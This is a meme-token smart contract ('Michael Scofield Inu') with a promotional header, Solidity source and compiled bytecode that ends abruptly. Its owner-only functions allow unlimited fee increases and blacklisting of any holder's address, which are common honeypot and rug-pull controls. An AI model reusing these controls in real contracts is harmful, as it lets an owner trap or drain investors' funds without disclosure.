0x2081aba815184c8065164e9e77a0938b12f003c9
|
/**
*Submitted for verification at Etherscan.io on 2022-03-31
*/
// SPDX-License-Identifier: UNLICENSED
/**
Website:https://michaelscofieldinu.co/
✉️Telegram: https://t.me/ScofieldInu
Michael Scofield's tattoos help Michael Scofield free.
💎Michael Scofield Inu's tattoo will let you know what is diamond project.
Total supply:11,121,147 $MSI
🔩This is a model number of a screw that helped Michael Scofield
Initial liquidity:6.17ETH
🚤Christina Rose 617
Buy limit: 1,112,114
Per wallet size: 3,336,342
Slippage: 12%
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MichaelScofieldInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Michael Scofield Inu";
string private constant _symbol = "MSI";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 11121147 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 10;
//Sell Fee
uint256 private _redisFeeOnSell = 2;
uint256 private _taxFeeOnSell = 10;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x30c4f051E27A030f807bFa21463AfB9043fe740D);
address payable private _marketingAddress = payable(0x30c4f051E27A030f807bFa21463AfB9043fe740D);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 111211 * 10**9; //1%
uint256 public _maxWalletSize = 333633 * 10**9; //3%
uint256 public _swapTokensAtAmount = 50000 * 10**9; //.5%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610614578063dd62ed3e1461063d578063ea1644d51461067a578063f2fde38b146106a3576101cc565b8063a2a957bb1461055a578063a9059cbb14610583578063bfd79284146105c0578063c3c8cd80146105fd576101cc565b80638f70ccf7116100d15780638f70ccf7146104b25780638f9a55c0146104db57806395d89b411461050657806398a5c31514610531576101cc565b806374010ece146104335780637d1db4a51461045c5780638da5cb5b14610487576101cc565b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461039f5780636fc3eaec146103c857806370a08231146103df578063715018a61461041c576101cc565b8063313ce5671461032057806349bd5a5e1461034b5780636b99905314610376576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632fd689e3146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612f2f565b6106cc565b005b34801561020657600080fd5b5061020f61081c565b60405161021c9190613378565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612e9b565b610859565b6040516102599190613342565b60405180910390f35b34801561026e57600080fd5b50610277610877565b604051610284919061335d565b60405180910390f35b34801561029957600080fd5b506102a261089d565b6040516102af919061355a565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612e4c565b6108ac565b6040516102ec9190613342565b60405180910390f35b34801561030157600080fd5b5061030a610985565b604051610317919061355a565b60405180910390f35b34801561032c57600080fd5b5061033561098b565b60405161034291906135cf565b60405180910390f35b34801561035757600080fd5b50610360610994565b60405161036d9190613327565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190612dbe565b6109ba565b005b3480156103ab57600080fd5b506103c660048036038101906103c19190612f70565b610aaa565b005b3480156103d457600080fd5b506103dd610b5c565b005b3480156103eb57600080fd5b5061040660048036038101906104019190612dbe565b610c2d565b604051610413919061355a565b60405180910390f35b34801561042857600080fd5b50610431610c7e565b005b34801561043f57600080fd5b5061045a60048036038101906104559190612f99565b610dd1565b005b34801561046857600080fd5b50610471610e70565b60405161047e919061355a565b60405180910390f35b34801561049357600080fd5b5061049c610e76565b6040516104a99190613327565b60405180910390f35b3480156104be57600080fd5b506104d960048036038101906104d49190612f70565b610e9f565b005b3480156104e757600080fd5b506104f0610f51565b6040516104fd919061355a565b60405180910390f35b34801561051257600080fd5b5061051b610f57565b6040516105289190613378565b60405180910390f35b34801561053d57600080fd5b5061055860048036038101906105539190612f99565b610f94565b005b34801561056657600080fd5b50610581600480360381019061057c9190612fc2565b611033565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612e9b565b6110ea565b6040516105b79190613342565b60405180910390f35b3480156105cc57600080fd5b506105e760048036038101906105e29190612dbe565b611108565b6040516105f49190613342565b60405180910390f35b34801561060957600080fd5b50610612611128565b005b34801561062057600080fd5b5061063b60048036038101906106369190612ed7565b611201565b005b34801561064957600080fd5b50610664600480360381019061065f9190612e10565b611361565b604051610671919061355a565b60405180910390f35b34801561068657600080fd5b506106a1600480360381019061069c9190612f99565b6113e8565b005b3480156106af57600080fd5b506106ca60048036038101906106c59190612dbe565b611487565b005b6106d4611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610761576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610758906134ba565b60405180910390fd5b60005b8151811015610818576001601060008484815181106107ac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061081090613894565b915050610764565b5050565b60606040518060400160405280601481526020017f4d69636861656c2053636f6669656c6420496e75000000000000000000000000815250905090565b600061086d610866611649565b8484611651565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006627829fd06e0e00905090565b60006108b984848461181c565b61097a846108c5611649565b61097585604051806060016040528060288152602001613da160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061092b611649565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a19092919063ffffffff16565b611651565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109c2611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906134ba565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ab2611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b36906134ba565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b9d611649565b73ffffffffffffffffffffffffffffffffffffffff161480610c135750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bfb611649565b73ffffffffffffffffffffffffffffffffffffffff16145b610c1c57600080fd5b6000479050610c2a81612105565b50565b6000610c77600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612200565b9050919050565b610c86611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0a906134ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dd9611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5d906134ba565b60405180910390fd5b8060168190555050565b60165481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ea7611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2b906134ba565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600381526020017f4d53490000000000000000000000000000000000000000000000000000000000815250905090565b610f9c611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611029576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611020906134ba565b60405180910390fd5b8060188190555050565b61103b611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bf906134ba565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006110fe6110f7611649565b848461181c565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611169611649565b73ffffffffffffffffffffffffffffffffffffffff1614806111df5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111c7611649565b73ffffffffffffffffffffffffffffffffffffffff16145b6111e857600080fd5b60006111f330610c2d565b90506111fe8161226e565b50565b611209611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611296576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128d906134ba565b60405180910390fd5b60005b8383905081101561135b5781600560008686858181106112e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906112f79190612dbe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061135390613894565b915050611299565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113f0611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461147d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611474906134ba565b60405180910390fd5b8060178190555050565b61148f611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461151c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611513906134ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561158c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115839061341a565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b89061353a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611731576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117289061343a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161180f919061355a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561188c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611883906134fa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f39061339a565b60405180910390fd5b6000811161193f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611936906134da565b60405180910390fd5b611947610e76565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119b55750611985610e76565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611da057601560149054906101000a900460ff16611a44576119d6610e76565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3a906133ba565b60405180910390fd5b5b601654811115611a89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a80906133fa565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b2d5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b639061345a565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c195760175481611bce84610c2d565b611bd89190613690565b10611c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0f9061351a565b60405180910390fd5b5b6000611c2430610c2d565b9050600060185482101590506016548210611c3f5760165491505b808015611c57575060158054906101000a900460ff16155b8015611cb15750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cc95750601560169054906101000a900460ff165b8015611d1f5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d755750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d9d57611d838261226e565b60004790506000811115611d9b57611d9a47612105565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e475750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611efa5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611ef95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f08576000905061208f565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fb35750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fcb57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120765750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561208e57600a54600c81905550600b54600d819055505b5b61209b84848484612566565b50505050565b60008383111582906120e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e09190613378565b60405180910390fd5b50600083856120f89190613771565b9050809150509392505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61215560028461259390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612180573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121d160028461259390919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121fc573d6000803e3d6000fd5b5050565b6000600654821115612247576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223e906133da565b60405180910390fd5b60006122516125dd565b9050612266818461259390919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156122cb577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122f95781602001602082028036833780820191505090505b5090503081600081518110612337577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156123d957600080fd5b505afa1580156123ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124119190612de7565b8160018151811061244b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101